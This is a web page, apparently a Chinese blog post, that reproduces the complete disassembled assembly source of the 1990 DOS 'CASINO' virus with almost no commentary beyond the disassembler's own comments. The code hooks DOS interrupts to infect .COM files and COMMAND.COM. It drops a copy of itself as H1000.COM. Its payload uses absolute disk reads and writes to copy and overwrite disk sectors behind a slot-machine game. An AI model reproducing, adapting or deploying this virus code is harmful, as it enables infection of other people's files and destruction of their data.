逆流生长
一个简单的汇编病毒タ(^_^ )ノ

;?????????????????????????????????????

;? ?

;? CASINO ?

;? ?

;? Created: 31-Aug-90 ?

;? Version: ?

;? Passes: 9 Analysis Options on: H ?

;? Copyright S & S International, 1990 ?

;? ?

;?????????????????????????????????????

DATA_1E EQU 60CH ; (0000:060C=0)

DATA_2E EQU 60DH ; (0000:060D=0)

DATA_3E EQU 60EH ; (0000:060E=0)

DATA_4E EQU 60FH ; (0000:060F=0)

DATA_5E EQU 610H ; (0000:0610=0)

DATA_6E EQU 611H ; (0000:0611=0)

DATA_7E EQU 612H ; (0000:0612=0)

DATA_8E EQU 2 ; (6AE6:0002=0)

DATA_10E EQU 3BH ; (6AE6:003B=0)

DATA_11E EQU 3DH ; (6AE6:003D=0)

DATA_12E EQU 3FH ; (6AE6:003F=0)

DATA_13E EQU 40H ; (6AE6:0040=0)

DATA_14E EQU 41H ; (6AE6:0041=0)

DATA_15E EQU 43H ; (6AE6:0043=6AE6h)

DATA_16E EQU 45H ; (6AE6:0045=0)

DATA_17E EQU 47H ; (6AE6:0047=6AE6h)

DATA_18E EQU 4DH ; (6AE6:004D=0)

DATA_19E EQU 68H ; (6AE6:0068=0)

DATA_20E EQU 7EH ; (6AE6:007E=0)

DATA_21E EQU 80H ; (6AE6:0080=0)

DATA_33E EQU 716EH ; (6AE6:716E=0)

SEG_A SEGMENT BYTE PUBLIC

ASSUME CS:SEG_A, DS:SEG_A

ORG 100H

CASINO PROC FAR

START:

NOP

DATA_23 DB 0E9H

DATA_24 DB 48H

DATA_25 DB 7, ' ;ello - Copyright S & S Intern'

DB ' ;ational, 1990', 0Ah, 0Dh, '$'

DB 1AH

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AA'

DB 0E6H

DB ' ;jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

CASINO ENDP

;?????????????????????????????????????

;

; External Entry Point

;

;?????????????????????????????????????

INT_24H_ENTRY PROC FAR

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

MOV AH,9

MOV DX,OFFSET DATA_25 ; (6AE6:0103=7)

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

INT 20H ; Program Terminate

DB 0, 0, 0, 0, 0, 0FH

DB 0, 0, 0E9H, 0D3H, 1, 0E9H

DB 0, 0, 0, 90H, 0E9H, 78H

DB 2AH, 2AH, 2EH, 43H, 4FH, 4DH

DB 0

DB ' ;C:\COMMAND.COM'

DB 0, 43H, 4FH, 4DH, 4DH, 41H

DB 4EH, 44H, 0FFH

DB 2EH, 43H, 4FH, 4DH

DB 15 DUP (0)

DB 3FH, 0, 0F0H, 3, 2, 0

DB 0B3H, 4BH, 0FCH, 91H, 56H, 5

DB 79H, 10H, 0, 0, 0, 0

DB 0, 3

DB 8 DUP (3FH)

DB 43H, 4FH, 4DH, 3FH, 8, 0

DB 1EH, 2, 2EH, 8BH, 26H, 68H

DB 20H, 0A9H, 8EH, 1FH, 15H, 0E8H

DB 3, 0, 0

DB ' ;H1000.COM'

DB 9 DUP (0)

DB 1FH, 15H, 0A9H, 8EH, 90H, 90H

DB 3DH, 59H, 4BH, 75H, 4, 0B8H

DB 66H, 6, 0CFH, 80H, 0FCH, 11H

DB 74H, 8, 80H, 0FCH, 12H, 74H

DB 3, 0EBH, 51H, 90H

LOC_2:

CMP AL,66H ; 'f'

JE LOC_4 ; Jump if equal

MOV AL,66H ; 'f'

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH ES

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV AL,ES:[BX+10H]

CMP AL,43H ; 'C'

JNE LOC_3 ; Jump if not equal

MOV AL,ES:[BX+11H]

CMP AL,4FH ; 'O'

JNE LOC_3 ; Jump if not equal

MOV AL,ES:[BX+12H]

CMP AL,4DH ; 'M'

JNE LOC_3 ; Jump if not equal

MOV AX,ES:[BX+24H]

CMP AX,91AH

JB LOC_3 ; Jump if below

SUB AX,91AH

MOV CX,AX

PUSH CX

MOV CX,10H

MOV DX,0

DIV CX ; ax,dx rem=dx:ax/reg

POP CX

CMP DX,0

JNE LOC_3 ; Jump if not equal

MOV ES:[BX+24H],CX

LOC_3:

POP ES

POP DX

POP CX

POP BX

POP AX

IRET ; Interrupt return

INT_24H_ENTRY ENDP

LOC_4:

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH SI

PUSH DI

PUSH BP

PUSH DS

PUSH ES

MOV BX,CS

MOV DS,BX

MOV AL,0

MOV DS:DATA_18E,AL ; (6AE6:004D=0)

MOV AL,DS:DATA_13E ; (6AE6:0040=0)

CMP AL,0FFH

JNE LOC_5 ; Jump if not equal

JMP LOC_15 ; (06B2)

LOC_5:

MOV AL,0FFH

MOV DS:DATA_13E,AL ; (6AE6:0040=0)

CMP AH,4BH ; 'K'

JE LOC_6 ; Jump if equal

CMP AH,36H ; '6'

JE LOC_7 ; Jump if equal

JMP LOC_15 ; (06B2)

LOC_6:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DS:DATA_12E,AL ; (6AE6:003F=0)

JMP SHORT LOC_8 ; (0624)

DB 90H

LOC_7:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DS:DATA_12E,AL ; (6AE6:003F=0)

CMP DL,0

JE LOC_8 ; Jump if equal

DEC DL

MOV AH,0EH

INT 21H ; DOS Services ah=function 0Eh

; set default drive dl (0=a:)

LOC_8:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

CMP AL,1

JA LOC_9 ; Jump if above

MOV CH,0

PUSH DS

POP ES

MOV BX,917H

MOV AL,1

CALL SUB_3 ; (07DB)

MOV AL,1

CALL SUB_4 ; (07EC)

CMP AH,0

JE LOC_9 ; Jump if equal

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_9:

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV DS:DATA_14E,BX ; (6AE6:0041=0)

MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)

MOV DX,4EH

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

MOV DX,0BH

MOV CX,3FH

MOV AH,4EH ; 'N'

INT 21H ; DOS Services ah=function 4Eh

; find 1st filenam match @ds:dx

JC LOC_14 ; Jump if carry Set

MOV DX,6CH

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_10 ; Jump if not equal

CALL SUB_2 ; (073C)

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_10:

CMP DL,3

JE LOC_11 ; Jump if equal

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_11:

MOV AH,4FH ; 'O'

INT 21H ; DOS Services ah=function 4Fh

; find next filename match

JNC LOC_12 ; Jump if carry=0

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_12:

MOV DX,6CH

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_13 ; Jump if not equal

CALL SUB_2 ; (073C)

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_13:

CMP DL,3

JE LOC_11 ; Jump if equal

LOC_14:

MOV DL,DS:DATA_12E ; (6AE6:003F=0)

MOV AH,0EH

INT 21H ; DOS Services ah=function 0Eh

; set default drive dl (0=a:)

MOV DX,DS:DATA_14E ; (6AE6:0041=0)

MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)

MOV DS,BX

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

LOC_15:

MOV AH,0

MOV DS:DATA_13E,AH ; (6AE6:0040=0)

POP ES

POP DS

POP BP

POP DI

POP SI

POP DX

POP CX

POP BX

POP AX

;* jmp far ptr loc_1 ;*(0273:1460)

DB 0EAH, 60H, 14H, 73H, 2

DB 8CH, 0CAH, 83H, 0C2H, 10H, 8EH

DB 0DAH, 0BAH, 20H, 0, 0B4H, 41H

DB 0CDH, 21H, 0B8H, 21H, 35H, 0CDH

DB 21H, 8CH, 6, 0D4H, 1, 89H

DB 1EH, 0D2H, 1, 0BAH, 82H, 0

DB 0B8H, 21H, 25H, 0CDH, 21H, 0BAH

DB 1BH, 0CH, 0CDH

DB 27H

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_1 PROC NEAR

MOV AX,DS:DATA_19E ; (6AE6:0068=0)

CMP AX,0F5B9H

JA LOC_20 ; Jump if above

MOV AX,4300H

INT 21H ; DOS Services ah=function 43h

; get/set file attrb, nam@ds:dx

TEST CL,4

JNZ LOC_20 ; Jump if not zero

TEST CL,1

JZ LOC_16 ; Jump if zero

AND CL,0FEH

MOV AX,4301H

INT 21H ; DOS Services ah=function 43h

; get/set file attrb, nam@ds:dx

LOC_16:

MOV AX,3D02H

INT 21H ; DOS Services ah=function 3Dh

; open file, al=mode,name@ds:dx

MOV BX,AX

MOV DX,3

MOV CX,1

MOV AH,3FH ; '?'

INT 21H ; DOS Services ah=function 3Fh

; read file, cx=bytes, to ds:dx

JNC LOC_17 ; Jump if carry=0

JMP SHORT LOC_19 ; (0732)

DB 90H

LOC_17:

CMP AX,0

JNE LOC_18 ; Jump if not equal

JMP SHORT LOC_19 ; (0732)

DB 90H

LOC_18:

MOV AL,BYTE PTR DS:DATA_8E+1 ; (6AE6:0003=0)

CMP AL,90H

JNE LOC_21 ; Jump if not equal

LOC_19:

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

LOC_20:

MOV DL,3

retn

LOC_21:

MOV DL,1

retn

SUB_1 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_2 PROC NEAR

MOV AX,5700H

INT 21H ; DOS Services ah=function 57h

; get/set file date & time

MOV DS:DATA_20E,DX ; (6AE6:007E=0)

MOV DS:DATA_21E,CX ; (6AE6:0080=0)

PUSH BX

CALL SUB_5 ; (07FD)

MOV BX,68H

MOV AX,[BX]

MOV DX,0

MOV BX,10H

DIV BX ; ax,dx rem=dx:ax/reg

INC AX

MOV DS:DATA_10E,AX ; (6AE6:003B=0)

MUL BX ; dx:ax = reg * ax

MOV DS:DATA_11E,AX ; (6AE6:003D=0)

POP BX

MOV CX,DS:DATA_10E ; (6AE6:003B=0)

MOV SI,35FH

MOV [SI],CX

MOV CX,0

MOV DX,0

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV DX,605H

MOV CX,4

MOV AH,3FH ; '?'

INT 21H ; DOS Services ah=function 3Fh

; read file, cx=bytes, to ds:dx

MOV CX,0

MOV DX,DS:DATA_11E ; (6AE6:003D=0)

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV DX,0

MOV CX,91AH

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

CMP AX,CX

JB LOC_22 ; Jump if below

MOV AL,DS:DATA_18E ; (6AE6:004D=0)

CMP AL,1

JE LOC_22 ; Jump if equal

MOV CX,0

MOV DX,0

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV SI,9

MOV AX,DS:DATA_11E ; (6AE6:003D=0)

ADD AX,35CH

SUB AX,4

MOV [SI],AX

MOV DX,7

MOV CX,4

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

LOC_22:

MOV DX,DS:DATA_20E ; (6AE6:007E=0)

MOV CX,DS:DATA_21E ; (6AE6:0080=0)

MOV AX,5701H

INT 21H ; DOS Services ah=function 57h

; get/set file date & time

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

CALL SUB_6 ; (0813)

retn

SUB_2 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_3 PROC NEAR

PUSH AX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DL,AL

POP AX

MOV DH,0

MOV CL,1

MOV AH,2

INT 13H ; Disk dl=drive #: ah=func b2h

; read sectors to memory es:bx

retn

SUB_3 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_4 PROC NEAR

PUSH AX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DL,AL

POP AX

MOV DH,0

MOV CL,1

MOV AH,3

INT 13H ; Disk dl=drive #: ah=func b3h

; write sectors from mem es:bx

retn

SUB_4 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_5 PROC NEAR

MOV AX,3524H

INT 21H ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

MOV DS:DATA_16E,BX ; (6AE6:0045=0)

MOV DS:DATA_17E,ES ; (6AE6:0047=6AE6h)

MOV DX,335H

MOV AX,2524H

INT 21H ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

retn

SUB_5 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_6 PROC NEAR

MOV DX,DS:DATA_16E ; (6AE6:0045=0)

MOV CX,DS:DATA_17E ; (6AE6:0047=6AE6h)

PUSH DS

PUSH CX

POP DS

MOV AX,2524H

INT 21H ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

POP DS

retn

SUB_6 ENDP

DB 50H, 53H, 51H, 52H, 1EH, 6

DB 0B4H, 0, 0CDH, 13H, 0B4H, 1

DB 88H, 26H, 4DH, 0, 0BFH, 0FFH

DB 0FFH, 8EH, 6, 49H, 0, 8BH

DB 1EH, 4BH, 0, 0B0H, 0, 26H

DB 88H, 7, 7, 1FH, 5AH, 59H

DB 5BH, 58H, 0CFH, 8CH, 0CAH, 0B9H

DB 3FH, 0, 3, 0D1H, 83H, 0C2H

DB 10H, 8EH, 0DAH, 0A1H, 3DH, 0

DB 5, 3, 6, 0BBH, 0FEH, 0FFH

DB 2BH, 0D8H, 89H, 1EH, 3, 6

DB 0BBH, 5, 6, 8AH, 7, 2EH

DB 0A2H, 0, 1, 43H, 8AH, 7

DB 2EH, 0A2H, 1, 1, 43H, 8AH

DB 7, 2EH, 0A2H, 2, 1, 43H

DB 8AH, 7, 2EH, 0A2H, 3, 1

DB 0B4H, 2AH, 0CDH, 21H, 80H, 0FAH

DB 0FH, 74H, 3, 0E9H, 0A2H, 1

LOC_23:

CMP DH,1

JE LOC_24 ; Jump if equal

CMP DH,4

JE LOC_24 ; Jump if equal

CMP DH,8

JE LOC_24 ; Jump if equal

JMP LOC_36 ; (0A33)

LOC_24:

CALL SUB_8 ; (09EB)

PUSH DS

POP ES

MOV SI,613H

MOV DI,613H

MOV CX,305H

CLD ; Clear direction

LOCLOOP_25:

LODSB ; String [si] to al

SUB AL,64H ; 'd'

STOSB ; Store al to es:[di]

LOOP LOCLOOP_25 ; Loop if cx > 0

MOV DX,613H

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

LOC_26:

MOV AH,7

INT 21H ; DOS Services ah=function 07h

; get keybd char al, no echo

MOV BYTE PTR DS:DATA_2E,64H ; (0000:060D=0) 'd'

NOP

MOV BYTE PTR DS:DATA_3E,78H ; (0000:060E=0) 'x'

NOP

MOV BYTE PTR DS:DATA_4E,0B4H ; (0000:060F=0)

NOP

MOV AH,2CH ; ','

INT 21H ; DOS Services ah=function 2Ch

; get time, cx=hrs/min, dh=sec

MOV BL,DH

MOV BH,0

MOV CH,0

MOV DH,0

ADD CL,DL

MOV AX,CX

MOV CL,3

DIV CL ; al, ah rem = ax/reg

MOV DS:DATA_5E,AH ; (0000:0610=0)

MOV AX,DX

MOV DL,3

DIV DL ; al, ah rem = ax/reg

MOV DS:DATA_6E,AH ; (0000:0611=0)

MOV AX,BX

DIV DL ; al, ah rem = ax/reg

MOV DS:DATA_7E,AH ; (0000:0612=0)

DEC BYTE PTR DS:DATA_1E ; (0000:060C=0)

MOV AL,DS:DATA_1E ; (0000:060C=0)

ADD AL,30H ; '0'

MOV DH,0DH

MOV DL,26H ; '&'

MOV BX,0

MOV AH,2

INT 10H ; Video display ah=functn 02h

; set cursor location in dx

MOV AH,0EH

INT 10H ; Video display ah=functn 0Eh

; write char al, teletype mode

LOC_27:

MOV DX,1FFFH

LOC_28:

NOP

NOP

NOP

DEC DX

JNZ LOC_28 ; Jump if not zero

MOV AL,DS:DATA_2E ; (0000:060D=0)

CMP AL,DS:DATA_5E ; (0000:0610=0)

JE LOC_29 ; Jump if equal

MOV DL,19H

MOV AL,DS:DATA_2E ; (0000:060D=0)

CALL SUB_7 ; (09C9)

MOV AL,DS:DATA_2E ; (0000:060D=0)

DEC AL

MOV DS:DATA_2E,AL ; (0000:060D=0)

LOC_29:

MOV AL,DS:DATA_3E ; (0000:060E=0)

CMP AL,DS:DATA_6E ; (0000:0611=0)

JE LOC_30 ; Jump if equal

MOV DL,21H ; '!'

MOV AL,DS:DATA_3E ; (0000:060E=0)

CALL SUB_7 ; (09C9)

DEC BYTE PTR DS:DATA_3E ; (0000:060E=0)

LOC_30:

MOV AL,DS:DATA_4E ; (0000:060F=0)

CMP AL,DS:DATA_7E ; (0000:0612=0)

JE LOC_31 ; Jump if equal

MOV DL,29H ; ')'

MOV AL,DS:DATA_4E ; (0000:060F=0)

CALL SUB_7 ; (09C9)

DEC BYTE PTR DS:DATA_4E ; (0000:060F=0)

LOC_31:

MOV AL,DS:DATA_4E ; (0000:060F=0)

CMP AL,DS:DATA_7E ; (0000:0612=0)

JNE LOC_27 ; Jump if not equal

MOV AH,DS:DATA_3E ; (0000:060E=0)

CMP AH,DS:DATA_6E ; (0000:0611=0)

JNE LOC_27 ; Jump if not equal

MOV BL,DS:DATA_2E ; (0000:060D=0)

CMP BL,DS:DATA_5E ; (0000:0610=0)

JNE LOC_27 ; Jump if not equal

CMP AL,0

JNE LOC_32 ; Jump if not equal

CMP AH,0

JNE LOC_32 ; Jump if not equal

CMP BL,0

JNE LOC_32 ; Jump if not equal

MOV DX,80AH

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

CALL SUB_9 ; (0A18)

JMP SHORT LOC_35 ; (09C7)

DB 90H

LOC_32:

CMP AL,1

JNE LOC_33 ; Jump if not equal

CMP AH,1

JNE LOC_33 ; Jump if not equal

CMP BL,1

JNE LOC_33 ; Jump if not equal

MOV DX,88DH

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

JMP SHORT LOC_34 ; (09BD)

DB 90H

LOC_33:

MOV AL,DS:DATA_1E ; (0000:060C=0)

CMP AL,0

JE LOC_34 ; Jump if equal

JMP LOC_26 ; (08BF)

LOC_34:

MOV DX,8D6H

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

JMP SHORT LOC_35 ; (09C7)

NOP

LOC_35:

JMP SHORT LOC_35 ; (09C7)

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_7 PROC NEAR

MOV AH,0

PUSH AX

MOV DH,0BH

MOV AH,2

MOV BH,0

INT 10H ; Video display ah=functn 02h

; set cursor location in dx

POP AX

MOV BL,3

DIV BL ; al, ah rem = ax/reg

MOV BL,AH

MOV BH,0

ADD BX,609H

MOV AL,[BX]

MOV AH,0EH

MOV BX,0

INT 10H ; Video display ah=functn 0Eh

; write char al, teletype mode

retn

SUB_7 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_8 PROC NEAR

PUSH DS

MOV BX,DS

ADD BX,1000H

MOV DS,BX

MOV BX,0

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 25H ; Absolute disk read, drive al

POPF ; Pop flags

MOV BX,0

MOV DS,BX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 26H ; Absolute disk write, drive al

POPF ; Pop flags

POP DS

retn

SUB_8 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_9 PROC NEAR

PUSH DS

MOV BX,DS

ADD BX,1000H

MOV DS,BX

MOV BX,0

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV CX,50H

MOV DX,0

INT 26H ; Absolute disk write, drive al

POPF ; Pop flags

POP DS

retn

SUB_9 ENDP

LOC_36:

MOV BX,0

MOV AX,4B59H

INT 21H ; DOS Services ah=function 4Bh

; run progm @ds:dx, parm @es:bx

CMP AX,666H

JNE LOC_37 ; Jump if not equal

JMP LOC_41 ; (0AF0)

LOC_37:

PUSH DS

POP ES

PUSH DS

PUSH CS

POP DS

MOV SI,0

MOV DI,917H

MOV CX,100H

CLD ; Clear direction

REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]

POP DS

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV DS:DATA_14E,BX ; (6AE6:0041=0)

MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)

MOV DX,4EH

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

MOV DX,11H

MOV CX,3FH

MOV AH,4EH ; 'N'

INT 21H ; DOS Services ah=function 4Eh

; find 1st filenam match @ds:dx

JC LOC_38 ; Jump if carry Set

MOV DX,11H

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_38 ; Jump if not equal

CALL SUB_2 ; (073C)

LOC_38:

CALL SUB_5 ; (07FD)

MOV DX,20H

MOV CX,2

MOV AH,3CH ; '<'

INT 21H ; DOS Services ah=function 3Ch

; create/truncate file @ ds:dx

JC LOC_40 ; Jump if carry Set

MOV BX,AX

MOV DX,0

MOV CX,91AH

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

PUSH AX

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

POP AX

CMP AX,CX

JE LOC_39 ; Jump if equal

MOV DX,20H

MOV AH,41H ; 'A'

INT 21H ; DOS Services ah=function 41h

; delete file, name @ ds:dx

JMP SHORT LOC_40 ; (0AD1)

DB 90H

LOC_39:

PUSH CS

POP ES

MOV BX,CS:DATA_8E ; (6AE6:0002=0)

SUB BX,92CH

MOV CX,CS

SUB BX,CX

MOV AH,4AH ; 'J'

INT 21H ; DOS Services ah=function 4Ah

; change mem allocation, bx=siz

MOV DX,20H

PUSH DS

POP ES

MOV BX,2DH

MOV AX,4B00H

INT 21H ; DOS Services ah=function 4Bh

; run progm @ds:dx, parm @es:bx

LOC_40:

CALL SUB_6 ; (0813)

PUSH CS

POP ES

MOV DI,0

MOV SI,917H

MOV CX,0FFH

CLD ; Clear direction

REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]

MOV DX,DS:DATA_14E ; (6AE6:0041=0)

MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)

MOV DS,BX

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

LOC_41:

PUSH CS

POP DS

JMP $-0F32H

JMP $+3DFH

DB 48H, 9BH, 9CH, 3FH, 5, 0AH

DB 5, 3, 1, 3, 0, 6EH

DB 71H, 6DH, 6DH, 84H, 84H, 84H

DB 0A8H, 0ADH, 0B7H, 0AFH, 84H, 0A8H

DB 0A9H, 0B7H, 0B8H, 0B6H, 0B3H, 0BDH

DB 0A9H, 0B6H, 84H, 5DH, 84H, 0A5H

DB 84H, 0B7H, 0B3H, 0B9H, 0BAH, 0A9H

DB 0B2H, 0ADH, 0B6H, 84H, 0B3H, 0AAH

DB 84H, 0B1H, 0A5H, 0B0H, 0B8H, 0A5H

DB 6EH, 71H, 6EH, 71H, 6DH, 6DH

DB 0ADH, 84H, 0CCH, 0C5H, 0DAH, 0C9H

DB 84H, 0CEH, 0D9H, 0D7H, 0D8H, 84H

DB 0A8H, 0A9H, 0B7H, 0B8H, 0B6H, 0B3H

DB 0BDH, 0A9H, 0A8H, 84H, 0D8H, 0CCH

DB 0C9H, 84H, 0AAH, 0A5H, 0B8H, 84H

DB 0D3H, 0D2H, 84H, 0DDH, 0D3H, 0D9H

DB 0D6H, 84H, 0A8H, 0CDH, 0D7H, 0CFH

DB 84H, 85H, 85H, 6EH, 71H, 84H

